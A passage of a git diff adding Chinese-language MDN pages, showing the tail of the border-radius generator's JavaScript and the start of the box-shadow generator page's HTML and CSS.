+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new InputSlider(elem[i]);
+	}
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		getNode : getNode,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	}
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	}
+
+	var setValue = function setValue(topic, value) {
+		try {
+			buttons[topic].checkbox.checked = value;
+		}
+		catch(error) {
+			console.log(error);
+		}
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		for (var i = 0; i < subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new CheckBox(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+
+window.addEventListener("load", function() {
+	BorderRadius.init();
+});
+
+var BorderRadius = (function BorderRadius() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	/**
+	 * Shadow dragging
+	 */
+	var PreviewMouseTracking = (function Drag() {
+		var active = false;
+		var lastX = 0;
+		var lastY = 0;
+		var subscribers = [];
+
+		var init = function init(id) {
+			var elem = getElemById(id);
+			elem.addEventListener('mousedown', dragStart, false);
+			document.addEventListener('mouseup', dragEnd, false);
+		}
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			active = true;
+			lastX = e.clientX;
+			lastY = e.clientY;
+			document.addEventListener('mousemove', mouseDrag, false);
+		}
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			if (active === true) {
+				active = false;
+				document.removeEventListener('mousemove', mouseDrag, false);
+			}
+		}
+
+		var mouseDrag = function mouseDrag(e) {
+			notify(e.clientX - lastX, e.clientY - lastY);
+			lastX = e.clientX;
+			lastY = e.clientY;
+		}
+
+		var subscribe = function subscribe(callback) {
+			subscribers.push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			var index = subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(deltaX, deltaY) {
+			for (var i in subscribers)
+				subscribers[i](deltaX, deltaY);
+		}
+
+		return {
+			init : init,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	var subject;
+	var units = ['px', '%'];
+	var output = null;
+
+	var UnitSelector = function UnitSelector(topic) {
+
+		this.container = document.createElement("div");
+		this.select = document.createElement("select");
+		for (var i in units) {
+			var option = document.createElement("option");
+			option.value = i;
+			option.textContent = units[i];
+			this.select.appendChild(option);
+		}
+
+		this.container.className = 'dropdown ' + 'unit-' + topic;
+		this.container.appendChild(this.select);
+	}
+
+	UnitSelector.prototype.setValue = function setValue(value) {
+		this.salect.value = value;
+	}
+
+
+	var RadiusContainer = function RadiusContainer(node) {
+		var radius = document.createElement('div');
+		var handle = document.createElement('div');
+		var x = node.getAttribute('data-x');
+		var y = node.getAttribute('data-y');
+		var active = false;
+
+		this.id = node.id;
+		this.node = node;
+		this.radius = radius;
+		this.handle = handle;
+		this.width = 100;
+		this.height = 50;
+		this.size = 0;
+		this.rounded = false;
+
+		this.unitX = 0;
+		this.unitY = 0;
+		this.unitR = 0;
+
+		this.maxW = 100;
+		this.maxH = 100;
+		this.maxR = 100;
+
+		this.topic = y + '-' + x;
+
+		var sliderW = InputSliderManager.getNode(this.topic + '-w');
+		var sliderH = InputSliderManager.getNode(this.topic + '-h');
+		var sliderR = InputSliderManager.getNode(this.topic);
+
+		this.setUnitX(this.unitX);
+		this.setUnitY(this.unitY);
+		this.setUnitR(this.unitR);
+
+		this.updateWidth();
+		this.updateHeight();
+		this.updateRadius();
+
+		if (x === 'left')	this.resizeX =  1;
+		if (x === 'right')	this.resizeX = -1;
+		if (y === 'top')	this.resizeY =  1;
+		if (y === 'bottom')	this.resizeY = -1;
+
+		radius.className = 'radius';
+
+		var unit_selector = document.getElementById("unit-selection");
+		var unitW = new UnitSelector(this.topic + '-w');
+		var unitH = new UnitSelector(this.topic + '-h');
+		var unitR = new UnitSelector(this.topic);
+
+		unit_selector.appendChild(unitW.container);
+		unit_selector.appendChild(unitH.container);
+		unit_selector.appendChild(unitR.container);
+		node.appendChild(radius);
+		subject.appendChild(handle);
+
+		unitW.select.addEventListener('change', function(e) {
+			this.setUnitX(e.target.value | 0);
+		}.bind(this));
+
+		unitH.select.addEventListener('change', function(e) {
+			this.setUnitY(e.target.value | 0);
+		}.bind(this));
+
+		unitR.select.addEventListener('change', function(e) {
+			this.setUnitR(e.target.value | 0);
+		}.bind(this));
+
+		if (x === 'left' && y == 'top') handle.className = 'handle handle-top-left'
+		if (x === 'right' && y == 'top') handle.className = 'handle handle-top-right';
+		if (x === 'right' && y == 'bottom') handle.className = 'handle handle-bottom-right';
+		if (x === 'left' && y == 'bottom') 	handle.className = 'handle handle-bottom-left';
+
+		handle.addEventListener("mousedown", function(e) {
+			active = true;
+			this.radius.style.display = 'block';
+			PreviewMouseTracking.subscribe(this.updateContainer.bind(this));
+		}.bind(this));
+
+		document.addEventListener("mouseup", function(e) {
+			this.radius.style.display = 'none';
+			if (active === true)
+				PreviewMouseTracking.unsubscribe(this.updateContainer.bind(this));
+		}.bind(this));
+
+		InputSliderManager.subscribe(this.topic + '-w', this.setWidth.bind(this));
+		InputSliderManager.subscribe(this.topic + '-h', this.setHeight.bind(this));
+		InputSliderManager.subscribe(this.topic, this.setRadius.bind(this));
+
+		ButtonManager.subscribe(this.topic, function(value) {
+			this.rounded = value;
+			if (value === true) {
+				unitW.container.style.display = 'none';
+				unitH.container.style.display = 'none';
+				unitR.container.style.display = 'block';
+				sliderW.style.display = 'none';
+				sliderH.style.display = 'none';
+				sliderR.style.display = 'block';
+				this.setUnitR(this.unitR);
+				this.updateRadius();
+			}
+
+			if (value === false) {
+				unitW.container.style.display = 'block';
+				unitH.container.style.display = 'block';
+				unitR.container.style.display = 'none';
+				sliderW.style.display = 'block';
+				sliderH.style.display = 'block';
+				sliderR.style.display = 'none';
+				this.setUnitX(this.unitX);
+				this.setUnitY(this.unitY);
+				this.updateWidth();
+				this.updateHeight();
+			}
+
+			this.updateBorderRadius();
+
+		}.bind(this));
+
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.updateWidth = function updateWidth() {
+		this.node.style.width = this.width + units[this.unitX];
+		var value = Math.round(this.width / 2);
+		InputSliderManager.setValue(this.topic + '-w', value, false);
+	}
+
+	RadiusContainer.prototype.updateHeight = function updateHeight() {
+		this.node.style.height = this.height + units[this.unitY];
+		var value = Math.round(this.height / 2);
+		InputSliderManager.setValue(this.topic + '-h', value, false);
+	}
+
+	RadiusContainer.prototype.updateRadius = function updateRadius() {
+		var value = Math.round(this.size / 2);
+		this.node.style.width = this.size + units[this.unitR];
+		this.node.style.height = this.size + units[this.unitR];
+		InputSliderManager.setValue(this.topic, value, false);
+	}
+
+	RadiusContainer.prototype.setWidth = function setWidth(value) {
+		this.radius.style.display = 'block';
+		this.width = 2 * value;
+		this.node.style.width = this.width + units[this.unitX];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setHeight = function setHeight(value) {
+		this.radius.style.display = 'block';
+		this.height = 2 * value;
+		this.node.style.height = this.height + units[this.unitY];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setRadius = function setRadius(value) {
+		this.radius.style.display = 'block';
+		this.size = 2 * value;
+		this.node.style.width = this.size + units[this.unitR];
+		this.node.style.height = this.size + units[this.unitR];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setUnitX = function setUnitX(value) {
+		this.unitX = value;
+		if (this.unitX === 0) this.maxW = 2 * subject.clientWidth;
+		if (this.unitX === 1) this.maxW = 200;
+		InputSliderManager.setUnit(this.topic + '-w', units[this.unitX]);
+		InputSliderManager.setMax(this.topic + '-w', this.maxW / 2);
+	}
+
+	RadiusContainer.prototype.setUnitY = function setUnitY(value) {
+		this.unitY = value;
+		if (this.unitY === 0) this.maxH = 2 * subject.clientHeight;
+		if (this.unitY === 1) this.maxH = 200;
+		InputSliderManager.setUnit(this.topic + '-h', units[this.unitY]);
+		InputSliderManager.setMax(this.topic + '-h', this.maxH / 2);
+	}
+
+	RadiusContainer.prototype.setUnitR = function setUnitR(value) {
+		this.unitR = value;
+
+		if (this.unitR === 0)
+			this.maxR = 2 * Math.min(subject.clientHeight , subject.clientWidth);
+
+		if (this.unitR === 1)
+			this.maxR = 200;
+
+		InputSliderManager.setUnit(this.topic, units[this.unitR]);
+		InputSliderManager.setMax(this.topic, this.maxR / 2);
+	}
+
+	RadiusContainer.prototype.updateUnits = function updateUnits(unit) {
+		if (this.rounded) {
+			this.setUnitR(this.unitR);
+			return;
+		}
+
+		if (unit === 0)
+			this.setUnitX(this.unitX);
+
+		if (unit === 1)
+			this.setUnitY(this.unitY);
+	}
+
+	RadiusContainer.prototype.composeBorderRadius = function composeBorderRadius () {
+
+		if (this.rounded === true) {
+			var unit = units[this.unitR];
+			var value = Math.round(this.size / 2);
+			return value + unit;
+		}
+
+		var unitX = units[this.unitX];
+		var unitY = units[this.unitY];
+		var valueX = Math.round(this.width / 2);
+		var valueY = Math.round(this.height / 2);
+
+		if (valueX === valueY && this.unitX === this.unitY)
+			return valueX + unitX;
+
+		return valueX + unitX + ' ' + valueY + unitY;
+	}
+
+	RadiusContainer.prototype.updateBorderRadius = function updateBorderRadius () {
+		var radius = this.composeBorderRadius();
+		var corner = 0;
+
+		if (this.topic === 'top-left') {
+			subject.style.borderTopLeftRadius = radius;
+			corner = 0;
+		}
+
+		if (this.topic === 'top-right') {
+			subject.style.borderTopRightRadius = radius;
+			corner = 1;
+		}
+
+		if (this.topic === 'bottom-right') {
+			subject.style.borderBottomRightRadius = radius;
+			corner = 2;
+		}
+
+		if (this.topic === 'bottom-left') {
+			subject.style.borderBottomLeftRadius = radius;
+			corner = 3;
+		}
+
+		Tool.updateOutput(corner, radius);
+	}
+
+	RadiusContainer.prototype.updateContainer = function updateContainer(deltaX, deltaY) {
+
+		if (this.rounded === true) {
+			this.size += this.resizeX * deltaX + this.resizeY * deltaY;
+			if (this.size < 0)	this.size = 0;
+			if (this.size > this.maxR)	this.size = this.maxR;
+			this.updateRadius();
+			this.updateBorderRadius();
+			return;
+		}
+
+		if (deltaX) {
+			this.width += this.resizeX * deltaX;
+			if (this.width < 0)	this.width = 0;
+			if (this.width > this.maxW)	this.width = this.maxW;
+			this.updateWidth();
+		}
+
+		if (deltaY) {
+			this.height += this.resizeY * deltaY;
+			if (this.height < 0) this.height = 0;
+			if (this.height > this.maxH)	this.height = this.maxH;
+			this.updateHeight();
+		}
+
+		if (deltaX || deltaY)
+			this.updateBorderRadius();
+	}
+
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+		var preview;
+		var preview_ui;
+		var radius_containers = [];
+		var border_width = 3;
+		var borders1 = [null, null, null, null];
+		var borders2 = [0, 0, 0, 0];
+
+		var updateUIWidth = function updateUIWidth(value) {
+			var pwidth = subject.parentElement.clientWidth;
+			var left = (pwidth - value) / 2;
+			subject.style.width = value + "px";
+
+			for (var i = 0; i < 4; i++)
+				radius_containers[i].updateUnits(0);
+		}
+
+		var updateUIHeight = function updateUIHeight(value) {
+			var pheight = subject.parentElement.clientHeight;
+			var top = (pheight - value) / 2;
+			subject.style.height = value + "px";
+			subject.style.top = top - border_width + "px";
+
+			for (var i = 0; i < 4; i++)
+				radius_containers[i].updateUnits(1);
+		}
+
+		var updatePreviewUIWidth = function updatePreviewUIWidth() {
+			var p = subject.parentElement.clientWidth;
+			var v = preview_ui.clientWidth;
+			console.log(p, v, (p - v ) / 2);
+			preview_ui.style.left = (p - v) / 2 + "px" ;
+		}
+
+		var updatePreviewUIHeight = function updatePreviewUIHeight() {
+			var p = subject.parentElement.clientHeight;
+			var v = preview_ui.clientHeight;
+			console.log(p, v, (p - v ) / 2);
+			preview_ui.style.top = (p - v) / 2 + "px" ;
+		}
+
+		var updateOutput = function updateOutput(corner, radius) {
+			var values = radius.split(" ");
+
+			borders1[corner] = values[0];
+			borders2[corner] = values[0];
+
+			if (values.length === 2)
+				borders2[corner] = values[1];
+
+			var border_1_value = borders1.join(" ");
+			var border_2_value = borders2.join(" ");
+			var border_radius = 'border-radius: ' + border_1_value;
+
+			if (border_2_value !== border_1_value)
+				border_radius += ' / ' + border_2_value;
+
+			border_radius += ';';
+			output.textContent = border_radius;
+		}
+
+		var init = function init() {
+			preview = getElemById("preview");
+			subject = getElemById("subject");
+			output = getElemById("output");
+			preview_ui = getElemById("radius-ui-sliders");
+
+			var elem = document.querySelectorAll('.radius-container');
+			var size = elem.length;
+			for (var i = 0; i < size; i++)
+				radius_containers[i] = new RadiusContainer(elem[i]);
+
+			InputSliderManager.subscribe("width", updateUIWidth);
+			InputSliderManager.subscribe("height", updateUIHeight);
+
+			InputSliderManager.setValue("width", subject.clientWidth);
+			InputSliderManager.setValue("height", subject.clientHeight);
+		}
+
+		return {
+			init : init,
+			updateOutput : updateOutput
+		}
+
+	})();
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		ButtonManager.init();
+		InputSliderManager.init();
+		PreviewMouseTracking.init("preview");
+		Tool.init();
+	}
+
+	return {
+		init : init
+	}
+
+})();
+
+
+
+
+ +

{{ EmbedLiveSample('border-radius-generator', '100%', '800px', '') }}

+ +

 

diff --git a/files/zh-cn/web/css/css_background_and_borders/box-shadow_generator/index.html b/files/zh-cn/web/css/css_background_and_borders/box-shadow_generator/index.html new file mode 100644 index 0000000000..3fb264bc40 --- /dev/null +++ b/files/zh-cn/web/css/css_background_and_borders/box-shadow_generator/index.html @@ -0,0 +1,2880 @@ +--- +title: Box-shadow generator +slug: Web/CSS/CSS_Box_Model/Box-shadow_generator +translation_of: Web/CSS/CSS_Background_and_Borders/Box-shadow_generator +--- +

这个可视化工具可以帮助你生成一个元素的CSS{{cssxref("box-shadow")}}相关代码,添加box shadow效果到你的CSS对象上。

+ +
+

box-shadow generator

+ +

HTML Content

+ +
<div id="container">
+    <div class="group section">
+        <div id="layer_manager">
+            <div class="group section">
+                <div class="button" data-type="add"> </div>
+                <div class="button" data-type="move-up"> </div>
+                <div class="button" data-type="move-down"> </div>
+            </div>
+            <div id="stack_container"></div>
+        </div>
+
+        <div id="preview_zone">
+            <div id="layer_menu" class="col span_12">
+                <div class="button" id="element" data-type="subject" data-title="element"> element </div>
+                <div class="button" id="before" data-type="subject" data-title=":before">
+                    :before
+                    <span class="delete" data-type="disable"></span>
+                </div>
+                <div class="button" id="after" data-type="subject" data-title=":after">
+                    :after
+                    <span class="delete" data-type="disable"></span>
+                </div>
+                <div class="ui-checkbox" data-topic='before' data-label=":before"></div>
+                <div class="ui-checkbox" data-topic='after' data-label=":after"></div>
+            </div>
+
+            <div id="preview">
+                <div id="obj-element">
+                    <div class="content"> </div>
+                    <div id="obj-before"> </div>
+                    <div id="obj-after"> </div>
+                </div>
+            </div>
+        </div>
+    </div>
+
+    <div id="controls" class="group section">
+        <div class="wrap-left">
+            <div class="colorpicker category">
+                <div class="title"> </div>
+                <div id="colorpicker" class="group">
+                    <div id="gradient" class="gradient">
+                        <div id="gradient_picker"> </div>
+                    </div>
+                    <div id="hue" data-topic="hue" class="hue">
+                        <div id="hue_selector"> </div>
+                    </div>
+                    <div class="info">
+                        <div class="input" data-topic="hue" data-title='H:' data-action="HSV"></div>
+                        <div class="input" data-topic="saturation" data-title='S:' data-action="HSV"></div>
+                        <div class="input" data-topic="value" data-title='V:' data-action="HSV"></div>
+                    </div>
+                    <div class="alpha">
+                        <div id="alpha" data-topic="alpha">
+                            <div id="alpha_selector"> </div>
+                        </div>
+                    </div>
+                    <div class="info">
+                        <div class="input" data-topic="r" data-title='R:' data-action="RGB"></div>
+                        <div class="input" data-topic="g" data-title='G:' data-action="RGB"></div>
+                        <div class="input" data-topic="b" data-title='B:' data-action="RGB"></div>
+                    </div>
+                    <div class="preview block">
+                        <div id="output_color"> </div>
+                    </div>
+                    <div class="block info">
+                        <div class="input" data-topic="a" data-title='alpha:' data-action="alpha"></div>
+                        <div class="input" data-topic="hexa" data-title='' data-action="hexa"></div>
+                    </div>
+                </div>
+            </div>
+        </div>
+
+        <div class="wrap-right">
+
+            <div id="shadow_properties" class="category">
+                <div class="title"> Shadow properties </div>
+                <div class="group">
+                    <div class="group property">
+                        <div class="ui-slider-name"> inset </div>
+                        <div class="ui-checkbox" data-topic='inset'></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Position x </div>
+                        <div class="ui-slider-btn-set" data-topic="posX" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="posX"
+                            data-min="-500" data-max="500" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="posX" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="posX" data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Position y </div>
+                        <div class="ui-slider-btn-set" data-topic="posY" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="posY"
+                            data-min="-500" data-max="500" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="posY" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="posY" data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Blur </div>
+                        <div class="ui-slider-btn-set" data-topic="blur" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="blur"
+                            data-min="0" data-max="200" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="blur" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="blur" data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Spread </div>
+                        <div class="ui-slider-btn-set" data-topic="spread" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="spread"
+                            data-min="-100"    data-max="100" data-step="1" data-value="50">
+                        </div>
+                        <div class="ui-slider-btn-set" data-topic="spread" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="spread" data-unit="px"></div>
+                    </div>
+                </div>
+            </div>
+
+            <div id="element_properties" class="category">
+                <div class="title"> Class element properties </div>
+                <div class="group">
+                    <div class="group property">
+                        <div class="ui-slider-name"> border </div>
+                        <div class="ui-checkbox" data-topic='border-state' data-state="true"></div>
+                    </div>
+                    <div id="z-index" class="slidergroup">
+                        <div class="ui-slider-name"> z-index </div>
+                        <div class="ui-slider-btn-set" data-topic="z-index" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="z-index"
+                            data-min="-10" data-max="10" data-step="1"></div>
+                        <div class="ui-slider-btn-set" data-topic="z-index" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="z-index"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> top </div>
+                        <div class="ui-slider-btn-set" data-topic="top" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="top"
+                            data-min="-500" data-max="500" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="top" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="top" data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> left </div>
+                        <div class="ui-slider-btn-set" data-topic="left" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="left"
+                            data-min="-300" data-max="700" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="left" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="left" data-unit="px"></div>
+                    </div>
+                    <div id="transform_rotate" class="slidergroup">
+                        <div class="ui-slider-name"> Rotate </div>
+                        <div class="ui-slider-btn-set" data-topic="rotate" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="rotate"
+                            data-min="-360" data-max="360" data-step="1" data-value="0">
+                        </div>
+                        <div class="ui-slider-btn-set" data-topic="rotate" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="rotate" data-unit="deg"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Width </div>
+                        <div class="ui-slider-btn-set" data-topic="width" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="width"
+                            data-min="0" data-max="1000" data-step="1" data-value="200">
+                        </div>
+                        <div class="ui-slider-btn-set" data-topic="width" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="width"  data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Height </div>
+                        <div class="ui-slider-btn-set" data-topic="height" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="height"
+                            data-min="0" data-max="400" data-step="1" data-value="200">
+                        </div>
+                        <div class="ui-slider-btn-set" data-topic="height" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="height" data-unit="px"></div>
+                    </div>
+                </div>
+            </div>
+
+            <div id="output" class="category">
+                <div id="menu" class="menu"></div>
+                <div class="title">    CSS Code </div>
+                <div class="group" style="border-top-left-radius: 0;">
+                    <div class="output" data-topic="element" data-name="element"
+                        data-prop="width height background-color position=[relative] box-shadow">
+                    </div>
+                    <div class="output" data-topic="before" data-name="element:before"
+                        data-prop="content=[&quot;&quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform">
+                    </div>
+                    <div class="output" data-topic="after" data-name="element:after"
+                        data-prop="content=[&quot;&quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform">
+                    </div>
+                </div>
+            </div>
+        </div>
+    </div>
+</div>
+
+ +

CSS Content

+ +
/*  GRID OF TWELVE
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+/*
+ * UI Slider
+ */
+
+.slidergroup {
+	height: 20px;
+	margin: 10px 0;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.slidergroup * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Slider */
+
+.ui-slider {
+	height: 10px;
+	width: 200px;
+	margin: 4px 10px;
+	display: block;
+	border: 1px solid #999;
+	border-radius: 3px;
+	background: #EEE;
+}
+
+.ui-slider:hover {
+	cursor: pointer;
+}
+
+.ui-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-slider-pointer {
+	width: 13px;
+	height: 13px;
+	background-color: #EEE;
+	border: 1px solid #2C9FC9;
+	border-radius: 3px;
+	position: relative;
+	top: -3px;
+	left: 0%;
+}
+
+.ui-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 3px;
+	color: #FFF;
+	font-weight: bold;
+	text-align: center;
+}
+
+.ui-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+.ui-slider-input > input {
+	margin: 0 10px;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/*
+ * UI Button
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox > input {
+ 	display: none;
+}
+
+.ui-checkbox > label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 3px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox > label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox > input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+/*
+ * BOX SHADOW GENERATOR TOOL
+ */
+
+body {
+	max-width: 1000px;
+	height: 800px;
+	margin: 20px auto 0;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+}
+
+#container {
+	width: 100%;
+	padding: 2px;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/* container with shadows stacks */
+#stack_container {
+	height: 400px;
+	overflow: hidden;
+	position: relative;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#stack_container .container {
+	height: 100%;
+	width: 100%;
+	position: absolute;
+	left: 100%;
+	transition-property: left;
+	transition-duration: 0.5s;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+#stack_container .title {
+	text-align: center;
+	font-weight: bold;
+	line-height: 2em;
+	border-bottom: 1px solid #43A6E1;
+	color: #666;
+}
+
+
+/*
+ * Stack of Layers for shadow
+ */
+
+#layer_manager {
+	width: 17%;
+	background-color: #FEFEFE;
+	margin: 0 1% 0 0;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	float: left;
+}
+
+
+#layer_manager .button {
+	width: 30%;
+	height: 25px;
+	margin:0 0 10px;
+	color: #333;
+	background-color: #EEE;
+	text-align: center;
+	font-size: 0.75em;
+	line-height: 1.5em;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+
+	display: block;
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+	float: left;
+}
+
+#layer_manager .button:hover {
+	background-color: #3380C4;
+	border: 1px solid #3380C4;
+	cursor: pointer;
+}
+
+#layer_manager [data-type='add'] {
+	background-image: url("https://mdn.mozillademos.org/files/5685/add-black.png");
+}
+
+#layer_manager [data-type='add']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5687/add-white.png");
+}
+
+#layer_manager [data-type='move-up'] {
+	background-image: url("https://mdn.mozillademos.org/files/5697/up-black.png");
+	margin-left: 5%;
+	margin-right: 5%;
+}
+
+#layer_manager [data-type='move-up']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5709/up-white.png");
+}
+
+#layer_manager [data-type='move-down'] {
+	background-image: url("https://mdn.mozillademos.org/files/5693/down-black.png");
+}
+
+#layer_manager [data-type='move-down']:hover {
+	background-image: url("https://mdn.mozillademos.org/files/5695/down-white.png");
+}
+
+/* shadows classes */
+
+#layer_manager .node {
